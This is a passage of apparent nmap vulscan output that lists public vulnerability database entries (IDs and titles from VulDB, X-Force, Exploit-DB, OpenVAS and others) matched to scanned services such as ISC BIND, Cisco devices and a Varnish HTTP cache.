17025| [72483] Cisco Unified IP Phones 9900 Series CVE-2015-0601 Local Denial of Service Vulnerability
17026| [72482] Cisco Unified IP Phones 9900 Series CVE-2015-0602 Information Disclosure Vulnerability
17027| [72481] Cisco Unified IP Phones 9900 Series CVE-2015-0600 Denial of Service Vulnerability
17028| [71979] Cisco MDS 9000 NX-OS Software CVE-2015-0582 Denial of Service Vulnerability
17029| [70744] Cisco ASR 901 Series Routers CVE-2014-3293 Denial of Service Vulnerability
17030| [70658] ZTE ZXDSL 931VII 'manager_dev_config_t.gch' Information Disclosure Vulnerability
17031| [69057] Cisco Nexus 9000 Series Switches CVE-2014-3330 Access List Security Bypass Vulnerability
17032| [64770] Cisco Unified IP Phones 9900 Series Crafted Header Unregister Denial of Service Vulnerability
17033| [63564] Cisco MDS 9000 NX-OS Software VRRP Frames Denial of Service Vulnerability
17034| [62944] Cisco Unified IP Phones 9900 Series CVE-2013-5532 Buffer Overflow Vulnerability
17035| [62943] Cisco Unified IP Phones 9900 Series CVE-2013-5533 Local Command Injection Vulnerability
17036| [62905] Cisco Unified IP Phones 9900 Series CVE-2013-5526 Denial of Service Vulnerability
17037| [61330] Cisco Unified IP Phones 9900 Series CVE-2013-3426 Arbitrary File Download Vulnerability
17038| [49633] Oracle Application Server 9i 'httpd.conf' Information Disclosure Vulnerability
17039| [48811] Cisco ASR 9000 Series Routers IP Version 4 Denial of Service Vulnerability
17040| [48264] Aastra 9480i CT Multiple Information Disclosure Vulnerabilities
17041| [15542] NetObjects Fusion 9 Information Disclosure Vulnerability
17042| [6556] Oracle 9i Application Server Sample Scripts Information Disclosure Vulnerability
17043| [6459] Oracle 9i Application Server Java Server Page Source Code Disclosure Vulnerability
17044| [5335] Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
17045| [4290] Oracle 9i Default Configuration File Information Disclosure Vulnerability
17046| [4034] Oracle 9IAS OracleJSP Information Disclosure Vulnerability
17047| [3848] Mandrake Bind 9 Package Insecure File Permissions Vulnerability
17048| [2516] Microsoft Plus! 98 Windows ME Password Disclosure Vulnerability
17049|
17050| IBM X-Force - https://exchange.xforce.ibmcloud.com:
17051| [85799] Cisco Unified IP Phones 9900 Series directory traversal
17052| [75412] Cisco Unified IP Phones 9900 series RT privilege escalation
17053| [68733] Cisco 9000 Series Aggregation Service Router IPv4 packet denial of service
17054| [9704] Multiple Lucent router UDP port 9 could disclose sensitive information
17055| [9250] BIND 9 dns_message_findtype() denial of service
17056| [1852] BIND prior to 4.9.7 buffer overflow affects Digital Firewall 97 users
17057| [539] Microsoft Windows 95 and Internet Explorer password disclosure
17058| [86004] ISC BIND RDATA denial of service
17059| [84767] ISC BIND denial of service
17060| [83066] ISC BIND denial of service
17061| [81504] ISC BIND AAAA denial of service
17062| [80510] ISC BIND DNS64 denial of service
17063| [79121] ISC BIND queries denial of service
17064| [78479] ISC BIND RDATA denial of service
17065| [77185] ISC BIND TCP queries denial of service
17066| [77184] ISC BIND bad cache denial of service
17067| [76034] ISC BIND rdata denial of service
17068| [73053] ISC BIND cache update policy security bypass
17069| [71332] ISC BIND recursive queries denial of service
17070| [68375] ISC BIND UPDATE denial of service
17071| [68374] ISC BIND Response Policy Zones denial of service
17072| [67665] ISC BIND RRSIG Rrsets denial of service
17073| [67297] ISC BIND RRSIG denial of service
17074| [65554] ISC BIND IXFR transfer denial of service
17075| [63602] ISC BIND allow-query security bypass
17076| [63596] ISC BIND zone data security bypass
17077| [63595] ISC BIND RRSIG denial of service
17078| [62072] ISC BIND DNSSEC query denial of service
17079| [62071] ISC BIND ACL security bypass
17080| [61871] ISC BIND anchors denial of service
17081| [60421] ISC BIND RRSIG denial of service
17082| [56049] ISC BIND out-of-bailiwick weak security
17083| [55937] ISC Bind unspecified cache poisoning
17084| [55753] ISC BIND DNSSEC NSEC/NSEC3 cache poisoning
17085| [54416] ISC BIND DNSSEC cache poisoning
17086| [52073] ISC BIND dns_db_findrdataset() denial of service
17087| [47409] Multiple Mozilla products XBL loadBindingDocument information disclosure
17088| [45234] ISC BIND UDP denial of service
17089| [39670] ISC BIND inet_network buffer overflow
17090| [37233] libgssapi ISC BIND Novell SUSE Linux Enterprise Server GSS-TSIG request denial of service
17091| [37128] RHSA update for ISC BIND RRset denial of service not installed
17092| [37127] RHSA update for ISC BIND named service denial of service not installed
17093| [36275] ISC BIND DNS query spoofing
17094| [35575] ISC BIND query ID cache poisoning
17095| [35571] ISC BIND ACL security bypass
17096| [31838] ISC BIND RRset denial of service
17097| [31799] ISC BIND named service denial of service
17098| [29876] HP Tru64 ypbind core dump information disclosure
17099| [28745] ISC BIND DNSSEC RRset denial of service
17100| [28744] ISC BIND recursive INSIST denial of service
17101| [22041] BEA WebLogic Server and Express LDAP anonymous bind information disclosure
17102| [18836] BIND hostname disclosure
17103| [10624] ISC BIND DNS stub resolver library (libresolv.a) stack buffer overflows
17104| [10333] ISC BIND SIG null pointer dereference denial of service
17105| [10332] ISC BIND OPT resource record (RR) denial of service
17106| [10304] ISC BIND SIG cached resource records (RR) heap buffer overflow
17107| [7027] Cisco CBOS Web-based configuration utility binds to port 80 by default
17108| [5814] ISC BIND "
17109| [5540] ISC BIND can be remotely crashed by issuing ZXFR requests
17110| [5462] ISC BIND AXFR host command remote buffer overflow
17111|
17112| Exploit-DB - https://www.exploit-db.com:
17113| [24689] cPanel 9.9.1 -R3 Front Page Extension Installation Information Disclosure
17114| [23059] Netbula Anyboard 9.9.5 6 Information Disclosure Vulnerability
17115| [9300] ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
17116|
17117| OpenVAS (Nessus) - http://www.openvas.org:
17118| [103090] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
17119| [103031] ISC BIND 9 < 9.7.2-P2 Multiple Vulnerabilities
17120| [103030] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
17121| [100717] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
17122| [100458] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
17123| [100362] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
17124| [100251] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
17125| [63208] Fedora Core 9 FEDORA-2009-0350 (bind)
17126| [11226] Oracle 9iAS default error information disclosure
17127|
17128| SecurityTracker - https://www.securitytracker.com:
17129| [1025811] Cisco ASR 9000 Series Router IPv4 Packet Processing Flaw Lets Remote Users Deny Service
17130| [1012995] BIND 9 Validator Assumption Error May Let Remote Users Deny Service
17131| [1005048] Oracle Enterprise Manager Web Service Component of Oracle 9i Application Server Discloses the Web Cache Administrator Password to Local Users
17132| [1003675] Oracle 9iAS Application Server Discloses CGI-BIN Script Source Code to Remote Users
17133| [1001186] Microsoft Windows Me Operating System and Windows 98 with the Plus! 98 Package Disclose Data Compression Passwords
17134| [1028901] (McAfee Issues Advisory for McAfee Email Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17135| [1028900] (McAfee Issues Advisory for McAfee Email and Web Security Appliance) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17136| [1028899] (McAfee Issues Fix for McAfee Web Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17137| [1028866] (McAfee Issues Fix for McAfee Firewall Enterprise) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17138| [1028854] (NetBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17139| [1028849] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17140| [1028848] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17141| [1028839] (FreeBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17142| [1028838] ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
17143| [1028632] ISC BIND RUNTIME_CHECK Error Lets Remote Users Deny Service Against Recursive Resolvers
17144| [1028046] ISC BIND DNS64 and Response Policy Zones (RPZ) Bug Lets Remote Users Deny Service
17145| [1027835] ISC BIND DNS64 Bug Lets Remote Users Deny Service
17146| [1027642] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
17147| [1027529] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
17148| [1026647] ISC BIND Cache Update Policy Can Be Bypassed to Allow Revoked Domain Names to Remain Resolvable
17149| [1026335] ISC BIND Invalid Record Caching Flaw Lets Remote Users Deny Service
17150| [1025743] ISC BIND Response Policy Zones DNAME/CNAME Processing Flaw Lets Remote Users Deny Service
17151| [1025742] ISC BIND Packet Processing Flaw Lets Remote Users Deny Service
17152| [1015850] Samba winbindd Daemon Discloses Server Password to Local Users
17153| [1003359] BindView NETinventory Discloses Password to Local Users During Auditing
17154| [1001721] BIND Domain Name System Software May Disclose DNS Transactional Signature (TSIG) Keys to Local Users
17155|
17156| OSVDB - http://www.osvdb.org:
17157| [86219] Cardiac Science G3 Plus 9390A-501 AED AEDUpdate Cleartext Password Local Disclosure
17158| [22517] MPN HP-180W Wireless IP Phone UDP Port 9090 Information Disclosure
17159| [22516] ZyXEL P-2000W_v2 VoIP Wi-Fi Phone UDP Port 9090 Information Disclosure
17160| [21292] ZyXEL P2000W UDP 9090 Remote Information Disclosure
17161|_
1716280/tcp open http-proxy Varnish http accelerator
17163|_http-server-header: Varnish
17164| vulscan: VulDB - https://vuldb.com:
17165| [141219] Varnish Cache up to 6.0.3 LTS/6.1.x/6.2.0 HTTP1 Parser Request Restart denial of service
17166| [109484] Varnish HTTP Cache up to 4.1.8/5.2.0 cache_fetch.c vbf_stp_error information disclosure
17167| [104823] Varnish HTTP Cache up to 4.0.4/4.1.7/5.1.2 Integer Overflow denial of service
17168| [82826] Varnish up to 3.0.6 HTTP Request CRLF privilege escalation
17169| [49716] Sun OpenSolaris up to Snv 85 Accelerator nl7c_http_log denial of service
17170| [141903] OpenConnect up to 8.04 process_http_response memory corruption
17171| [141896] wp-cerber Plugin up to 2.6 on WordPress HTTP Header cross site scripting
17172| [141853] Dolibarr 10.0.1 HTTP Header htdocs/societe/card.php cross site scripting
17173| [141818] dwnldr Plugin up to 1.00 on WordPress HTTP Header cross site scripting
17174| [141526] Couchbase Server 5.1.2/5.5.0 HTTP Server Port 8092 cross site scripting
17175| [141475] LimeSurvey up to 3.17.13 Cookie httponly privilege escalation
17176| [141392] Silver Peak EdgeConnect SD-WAN up to 8.1.6.x Web Interface HTTP Traffic Slow denial of service
17177| [141339] D-Link DIR-806 HTTP Header Shell privilege escalation
17178| [141337] pecl-http extension up to 2.6.0beta2/3.1.0beta2 php_http_params.c merge_param() HTTP Requests memory corruption
17179| [141321] IBM Jazz for Service Management 1.1.3 Cache HTTP GET Request Header Injection privilege escalation
17180| [141293] JetBrains TeamCity 2019.1/2019.1.1 HTTP Request cross site scripting
17181| [141275] Cisco Industrial Network Director Plug-and-Play Service HTTP Request information disclosure
17182| [141159] Mulesoft/Mulesoft API Gateway APIkit/http-connector/OAuth2 Provider directory traversal
17183| [141111] Cisco NX-OS NX-API Service HTTP Request Restart denial of service
17184| [141062] WebTorrent up to 0.107.5 HTTP Server cross site scripting
17185| [141001] Cisco IOS XE REST API Virtual Service Container HTTP Requests weak authentication
17186| [140999] Splunk Plugin up to 1.7.4 on Jenkins HTTP Endpoint Code Execution
17187| [140737] Swoole up to 4.2.12 swPort_http_static_handler directory traversal
17188| [140702] HTTPie Open Redirect
17189| [140563] Cisco Integrated Management Controller Web Server HTTP Request privilege escalation
17190| [140562] Cisco Integrated Management Controller Web Server HTTP Request Crash denial of service
17191| [140555] Cisco Integrated Management Controller Web-based Management Interface HTTP Request privilege escalation
17192| [140106] HTTP2 up to 2.4.39 Push Request Crash denial of service
17193| [140085] McAfee Web Gateway up to 7.8.2.11 X-Frame-Options HTTP Header Clickjacking cross site scripting
17194| [140052] SAP Enable Now 1902 Session Cookie httponly privilege escalation
17195| [140050] SAP Gateway 750/751/752/753 OData Request HTTP Header information disclosure
17196| [140013] HTTP2 Empty Frame Flooding denial of service
17197| [140012] HTTP2 Reset Request Flooding denial of service
17198| [140011] HTTP2 Loop Request CPU Exhaustion denial of service
17199| [140010] HTTP2 Ping Flooding denial of service
17200| [140009] HTTP2 Window Size Request denial of service
17201| [140008] HTTP2 Data Buffer denial of service
17202| [140007] HTTP2 Header denial of service
17203| [140006] HTTP2 SETTING Frame Flooding denial of service
17204| [139986] UniSign up to 2.0.4.0 HTTPS Packet Stack-based memory corruption
17205| [139972] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
17206| [139971] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
17207| [139970] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
17208| [139969] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
17209| [139968] Microsoft Windows up to Server 2019 HTTP2 HTTP.sys denial of service
17210| [139684] Cisco WebEx Meetings Server Web-based Management Interface HTTP Request privilege escalation
17211| [139676] go-camo up to 1.1.4 Internal Endpoint HTTP Requests Server-Side Request Forgery
17212| [139665] Cisco ASA Web-based Management Interface HTTPS Request privilege escalation
17213| [139641] Relution Enterprise Appstore Publisher Plugin up to 1.24 on Jenkins Permission Check HTTP privilege escalation
17214| [139574] MicroDigital N-Series Camera up to 6400.0.8.5 httpd upload.php Filename memory corruption
17215| [139570] MicroDigital N-Series Camera up to 6400.0.8.5 httpd sql injection
17216| [139568] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter Time-Based information disclosure
17217| [139567] MicroDigital N-Series Camera up to 6400.0.8.5 HTTPD Parameter OS Command Injection privilege escalation
17218| [139564] Shenzhen 2.3 HTTP Parameter Pollution weak authentication
17219| [139544] cPanel up to 60.0.24 HTTP POST weak encryption
17220| [139540] cPanel up to 60.0.24 Apache HTTP Server Key information disclosure
17221| [139448] Magento up to 2.1.17/2.2.8/2.3.1 Metadata HTTP Request information disclosure
17222| [139239] cPanel up to 70.0.22 Apache HTTP Server Log information disclosure
17223| [139130] cPanel up to 73.x Apache HTTP Server Injection privilege escalation
17224| [139050] http-file-server cross site scripting
17225| [139049] min-http-server cross site scripting
17226| [139029] IBM WebSphere Application Server Liberty Admin Center HTTP Request Clickjacking privilege escalation
17227| [138958] Amcrest IP2M-841B V2.520.AC00.18.R HTTP Endpoint /videotalk weak authentication
17228| [138915] PrinterOn Central Print Services up to 4.1.4 HTTP GET Request information disclosure
17229| [138851] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
17230| [138850] MikroTik RouterOS up to 6.44.4 HTTP Server HTTP Request Memory Exhaustion denial of service
17231| [138824] Proxygen HTTP Header Crafted Packet Out-of-Bounds memory corruption
17232| [138749] marginalia up to 1.5 User Controller HTTP Parameter sql injection
17233| [138505] Mozilla Firefox up to 67.x HTTP Alternative Services Header Portscan privilege escalation
17234| [138492] Mozilla Firefox/Thunderbird/Firefox ESR HTTP2 Cache Use-After-Free denial of service
17235| [138472] Mozilla Firefox/Thunderbird/Firefox ESR XMLHttpRequest Use-After-Free denial of service
17236| [138466] OSS Http Request 6 on Cordova SSL Certificate Validator spoofing
17237| [138465] Linagora Hublin 72ead897082403126bf8df9264e70f0a9de247ff HTTP Request directory traversal
17238| [138418] Linux Foundation ONOS up to 1.15.0 YangLiveCompilerManager.java runJavaCompiler HTTP Request privilege escalation
17239| [138379] ZeroShell 3.9.0 Web Application HTTP Parameter OS Command Injection privilege escalation
17240| [138300] Synetics i-doit up to 1.12 HTTP POST Request sql injection
17241| [138299] MailCleaner NewslettersController.php allowAction() HTTP GET Request information disclosure
17242| [138278] Cisco Small Business 200 Series Switch Web Interface HTTP Request Open Redirect
17243| [138271] Cisco Vision Dynamic Signage Director REST API HTTP Requests weak authentication
17244| [138242] FANUC Robotics Virtual Robot Controller 8.23 Remote Admin Webserver HTTP Request memory corruption
17245| [138241] FANUC Robotics Virtual Robot Controller 8.23 HTTP Request directory traversal
17246| [138214] CentOS-WebPanel.com CentOS Web Panel 0.9.8.846 Login HTTP Response Username information disclosure
17247| [138146] Oracle Sun ZFS Storage Appliance Kit (AK) 8.8.3 HTTP data path subsystems unknown vulnerability
17248| [138129] Oracle Retail Xstore Point of Service 7.0/7.1 Apache HTTP Server denial of service
17249| [138025] Oracle HTTP Server 12.1.3.0.0/12.2.1.3.0 jQuery information disclosure
17250| [138012] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
17251| [138009] Oracle Outside In Technology 8.5.4 Apache HTTP Server unknown vulnerability
17252| [137967] Oracle up to 8.0.7 Apache httpd unknown vulnerability
17253| [137911] Oracle E-Business Suite up to 12.2.8 Apache HTTP Server unknown vulnerability
17254| [137901] Oracle Primavera Unifier up to 18.8 Apache HTTP Server unknown vulnerability
17255| [137860] PluckCMS up to 4.7.4 File Upload data/inc/images.php HTTP Request privilege escalation
17256| [137850] http-file-server up to 0.2.6 on NPM directory traversal
17257| [137804] Python up to 3.7.2 Domain Validator Lib/http/cookiejar.py http.cookiejar.DefaultPolicy.domain_return_ok Hostname privilege escalation
17258| [137767] Squid Proxy up to 2.7.STABLE9/3.5.28/4.7 HTTP Header Authorization Header memory corruption
17259| [137766] Squid Proxy up to 4.7.0 HttpHeader::getAuth Header memory corruption
17260| [137743] Juniper Junos on SRX srxpfe HTTP Packet Crash denial of service
17261| [137699] Mongoose 6.15 mongoose.c mq_parse_http memory corruption
17262| [137667] eQ-3 Homematic CCU2/Homematic CCU3 ReGa ise GmbH HTTP-Server Code Execution memory corruption
17263| [137420] Cisco Small Business 200 Managed Switch Management Web Interface HTTPS Packet memory corruption
17264| [137377] Cisco Web Security Appliance HTTPS Decryption Restart denial of service
17265| [137376] Cisco AsyncOS Web Proxy Function HTTP/HTTPS Request denial of service
17266| [137322] F5 BIG-IP up to 14.1.0.5 iControl REST Endpoint HTTP Request Loop denial of service
17267| [137315] F5 BIG-IP up to 11.6.4 iRules HTTP Header denial of service
17268| [137282] JetBrains IntelliJ IDEA Gradle Artifact Resolver HTTP weak encryption
17269| [137281] JetBrains Ktor Framework up to 1.0.x Artifact Resolver HTTP weak encryption
17270| [137280] JetBrains Kotlin up to 1.3.29 Build HTTP weak encryption
17271| [137260] Moxa OnCell G3100-HSPA up to 1.6 Build 17100315 Monitoring Protocol HTTP weak encryption
17272| [137243] Amcrest IPM-721S Amcrest_IPC-AWXX_Eng_N_V2.420.AC00.17.R.20170322 HTTP API HTTP Requests Stack-based memory corruption
17273| [137173] D-Link DCS-1100/DCS-1130 HTTP Management Interface /sbin RTSP Connection weak authentication
17274| [137171] Blipcare BP700 10.1 Wireless Network HTTP Request memory corruption
17275| [137169] Blipcare Device Web Management Interface HTTP weak encryption
17276| [137115] Django up to 1.11.21/2.1.9/2.2.2 HTTP Request Redirect weak encryption
17277| [137109] Exiv2 up to 0.27.1 HTTP Server http.c Response denial of service
17278| [137093] Synology Calendar up to 2.3.1 HTTP Header drivers_syno_import_user.php Command privilege escalation
17279| [137024] ABB IDAL HTTP Server /cgi/loginDefaultUser GET Request weak authentication
17280| [137014] Google Chrome XMLHttpRequest HTML Page Cross-Origin information disclosure
17281| [136928] Cisco Data Center Network Manager Web-based Management Interface HTTP Request weak authentication
17282| [136885] IBM API Connect up to 5.0.8.6 HTTP Requests information disclosure
17283| [136872] LiveZilla Server up to 8.0.1.0 mobile/index.php HTTP Header cross site scripting
17284| [136867] IBM API Connect up to 2018.4.1.5 HTTP Request information disclosure
17285| [136858] MakerBot Replicator 5G Printer Apache HTTP Server information disclosure
17286| [136854] ABB IDAL HTTP Server Host Header memory corruption
17287| [136783] b3log Solo 2.9.3 Publish Articles Menu HTTP Request Stored cross site scripting
17288| [136781] TP-LINK WR1043ND 3 HTTPd Server MediaServerFoldersCfgRpm.htm memory corruption
17289| [136780] Sophos XG Firewall 17.0.8 MR-8 API Configuration APIController HTTP Header privilege escalation
17290| [136741] Cisco RV110W/RV130W/RV215W HTTP Request information disclosure
17291| [136740] Cisco RV110W/RV130W/RV215W Web-based Management Interface HTTP Request information disclosure
17292| [136736] Cisco Wide Area Application Services HTTPS Proxy Connection Request privilege escalation
17293| [136731] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests denial of service
17294| [136729] Cisco Integrated Management Controller Web-based Management Interface HTTP Request information disclosure
17295| [136724] Cisco SD-WAN Solution vManage Web-based UI HTTP Requests privilege escalation
17296| [136609] Netdata 1.10.0 HTTP Header web/api/web_api_v1.c privilege escalation
17297| [136584] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method Bypass privilege escalation
17298| [136582] IBM Cognos Controller 10.2.0/10.2.1/10.3.0/10.3.1/10.4.0 HTTP Method HTTP Request information disclosure
17299| [136513] EmbedThis GoAhead up to 4.1.0/5.0.0 Header Parsing http.c memory corruption
17300| [136512] Eclipse Buildship up to 3.1.0 HTTP weak encryption
17301| [136374] Apache HTTP Server up to 2.4.38 Slash Regular Expression unknown vulnerability
17302| [136373] Apache HTTP Server 2.4.34/2.4.35/2.4.36/2.4.37/2.4.38 HTTP2 Request Crash denial of service
17303| [136372] Apache HTTP Server up to 2.4.38 HTTP2 Request unknown vulnerability
17304| [136250] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
17305| [136249] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_free_proto_data_cgi memory corruption
17306| [136248] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
17307| [136247] Cesanta Mongoose Embedded Web Server Library up to 6.13 mongoose.c mg_http_get_proto_data memory corruption
17308| [136245] Starry Station HTTP API JSON Payload PIN weak authentication
17309| [136242] Twisted up to 19.2.0 twisted.web HTTP Method privilege escalation
17310| [136206] Moxa AWK-3121 1.14 Session Cookie httponly information disclosure
17311| [136204] Munica Web Server 1.14 Communication HTTP Traffic unknown vulnerability
17312| [136203] Gemalto Admin Control Center up to 7.91 Cookie httponly information disclosure
17313| [136020] Gardener up to 0.19.x Access Control HTTP GET Request information disclosure
17314| [136019] GrandNode 4.40 LetsEncryptController.cs LetsEncryptController HTTP Requests directory traversal
17315| [135863] AUO Solar Data Recorder up to 1.2.x HTTP Basic Authentication weak authentication
17316| [135862] Cyrus IMAP Server up to 2.5.12/3.0.9 httpd privilege escalation
17317| [135959] Fortinet FortiOS 6.0.0/6.0.1/6.0.2/6.0.3/6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
17318| [135957] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Reflected cross site scripting
17319| [135936] Fortinet FortiOS up to 6.0.4 SSL VPN Web Portal HTTP Requests Password privilege escalation
17320| [135364] Emerson Network Power Liebert Challenger 5.1E0.5 httpGetSet/httpGet.htm Parameter cross site scripting
17321| [135261] GoHTTP up to 2017-07-25 Header Stack-based memory corruption
17322| [135220] IBM Cloud Private Kubernetes API Server 2.1.0/3.1.0/3.1.1/3.1.2 HTTP Proxy unknown vulnerability
17323| [135214] GoHTTP up to 2017-07-25 sendHeader memory corruption
17324| [135213] GoHTTP up to 2017-07-25 scan Long URL memory corruption
17325| [135212] GoHTTP up to 2017-07-25 Extension GetExtension memory corruption
17326| [135159] Symfony up to 2.7.50/2.8.49/3.4.25/4.1.11/4.2.6 http-foundation HTTP Method privilege escalation
17327| [135142] Cisco AnyConnect Secure Mobility Client on Linux HostScan HTTP Traffic information disclosure
17328| [135141] Cisco Identity Services Engine ERS API HTTP Request privilege escalation
17329| [135136] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
17330| [135135] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request SQL privilege escalation
17331| [135131] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
17332| [135130] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
17333| [135129] Cisco Prime Infrastructure/Evolved Programmable Network Web-based Management Interface HTTP Request privilege escalation
17334| [135014] Kyocera TASKalfa 4002i/TASKalfa 6002i DoBox_CstmBox_Info.model.htm HTTP Request information disclosure
17335| [134849] Apple macOS up to 10.14.4 IOAcceleratorFamily memory corruption
17336| [134652] LG GAMP-7100/GAPM-7200/GAPM-8000 Log File gapm7100_${today's_date}.log HTTP Request information disclosure
17337| [134638] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP POST Request privilege escalation
17338| [134632] Anker Roav A1 Dashcam RoavA1SWV1.9 HTTP Server HTTP PUT Request Firmware privilege escalation
17339| [134604] Seagate NAS OS 4.3.15.1 Session Cookie httponly privilege escalation
17340| [134596] University of Cambridge mod_ucam_webauth up to 2.0.1 HTTP Response directory traversal
17341| [134584] NetApp OnCommand Insight up to 7.3.4 HTTP Security Header information disclosure
17342| [134583] NetApp OnCommand Unified Manager up to 9.4 HTTP Security Header information disclosure
17343| [134582] NetApp OnCommand Unified Manager up to 5.2.3 HTTP Security Header information disclosure
17344| [134565] IBM Cloud App Management V2018.2.0/V2018.4.0/V2018.4.1 HTTP Request information disclosure
17345| [134511] Master IPCAMERA01 3.3.4.2103 thttpd privilege escalation
17346| [134458] Hisilicon HI3516 RTSP HTTP Packet memory corruption
17347| [134433] Sierra Wireless AirLink ES450 4.9.3 ACEManager EmbeddedAceSet_Task.cgi HTTP Request privilege escalation
17348| [134428] Sierra Wireless AirLink ES450 4.9.3 ACEManager HTTP Request Config information disclosure
17349| [134427] Sierra Wireless AirLink ES450 4.9.3 ACEManager template_load.cgi HTTP Request information disclosure
17350| [134426] Sierra Wireless AirLink ES450 up to 4.9.3 ACEManager HTTP Request cross site request forgery
17351| [134424] Sierra Wireless AirLink ES450 4.9.3 Webserver upload.cgi HTTP Request Code Execution
17352| [134422] Sierra Wireless AirLink ES450 4.9.3 ACEManager iplogging.cgi HTTP Request command injection
17353| [134390] Xtext/Xtend up to 2.17.x Built Artifact HTTP weak encryption
17354| [134366] Cisco Expressway Management Web Interface HTTP Request directory traversal
17355| [134361] Cisco Web Security Appliance Web Proxy Function HTTPS Request Restart denial of service
17356| [134356] Cisco Small Business RV320/Small Business RV325 Web-based Interface HTTP Request Session Hijacking weak authentication
17357| [134292] Rockwellautomation Armor Compact GuardLogix 5370 Web Server HTTP/HTTPS Request Stack-based memory corruption
17358| [134283] Crestron AM-100/AM-101 Slie Show conference.cgi HTTP POST Request privilege escalation
17359| [134282] Crestron AM-100/AM-101 login.cgi HTTP POST Request information disclosure
17360| [134279] Crestron AM-100/AM-101 cURL return.cgi HTTP Requests privilege escalation
17361| [134277] Crestron AM-100/AM-101 HTTP Endpoint file_transfer.cgi System Command command injection
17362| [134105] SimplyBook.me Enterprise Administrative Management Interface /v2/rest/ HTTP PUT Request privilege escalation
17363| [134104] SimplyBook.me Enterprise Password Reset Link HTTP GET Request privilege escalation
17364| [134035] Pivotal Apps Manager up to 665.0.27/666.0.20/667.0.6 Invitation Service HTTP weak encryption
17365| [134026] Jakub Chodounsky Bonobo Git Server up to 6.4.x GitController HTTP Request privilege escalation
17366| [134018] Deltek Vision up to 7.6 RPC over HTTP SQL privilege escalation
17367| [133994] Hisilicon HI3510 Web Management Portal HTTP Request Credentials information disclosure
17368| [133960] Tildeslash Monit up to 5.25.2 HTTP Basic Authentication http/cervlet.c _viewlog Authorization Header cross site scripting
17369| [133823] OkHttp up to 3.12 Certificate Pinning CertificatePinner.java weak authentication
17370| [133815] Cisco DNA Center up to 1.2.4 Software Image Management HTTP Requests weak authentication
17371| [133387] Xerox ColorQube 9303 on Linux HTTP Request OS Command Injection privilege escalation
17372| [133368] JFrog Artifactory 6.7.3 HTTP Header Password Reset privilege escalation
17373| [133330] lighttpd up to 1.4.53 burl.c burl_normalize_2F_to_slash_fix HTTP GET Request memory corruption
17374| [133328] WebKitGTK/WPE WebKit up to 2.24.0 HTTP Proxy Setting Deanonymization information disclosure
17375| [133315] Apache Airflow up to 1.10.2 HTTP Endpoint cross site request forgery
17376| [133290] Apache Tomcat up to 8.5.37/9.0.14 HTTP2 Stream Execution denial of service
17377| [133277] TIBCO ActiveMatrix BusinessWorks up to 6.4.2 HTTP Connector HTTP Requests privilege escalation
17378| [133112] Apache HTTP Server up to 2.4.38 mod_auth_digest race condition privilege escalation
17379| [133111] Apache HTTP Server 2.4.37/2.4.38 mod_ssl Bypass privilege escalation
17380| [133105] IBM Cloud Private 3.1.0/3.1.1 HTTP Host Header cross site scripting
17381| [133103] IBM Business Automation Workflow 18.0.0.0/18.0.0.1/18.0.0.2 HTTP Request information disclosure
17382| [133099] Hanwha Techwin SRN-4000/SRN-4000 Management Page HTTP Request weak authentication
17383| [132823] http-live-simulator 1.0.5 on npm directory traversal
17384| [132709] IBM InfoSphere Information Server 11.3/11.5/11.7 HTTP Request unknown vulnerability
17385| [132588] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header denial of service
17386| [132587] Node.js up to 6.16.x/8.15.0/10.15.1/11.10.0 HTTP Connection Header Slowloris denial of service
17387| [132535] Cisco IOS XE Web Services Management Agent HTTP Requests privilege escalation
17388| [132454] mod_auth_mellon up to 0.14.1 HTTP Header Bypass weak authentication
17389| [132230] Green Hills INTEGRITY RTOS 5.0.4 Interpeak IPWEBS HTTP Header Stack-based memory corruption
17390| [132106] PowerDNS Authoritative Server up to 4.0.6/4.1.6 HTTP Connector HTTP Request privilege escalation
17391| [132036] Sricam IP CCTV Camera Web Server HTTP Requests Flooding denial of service
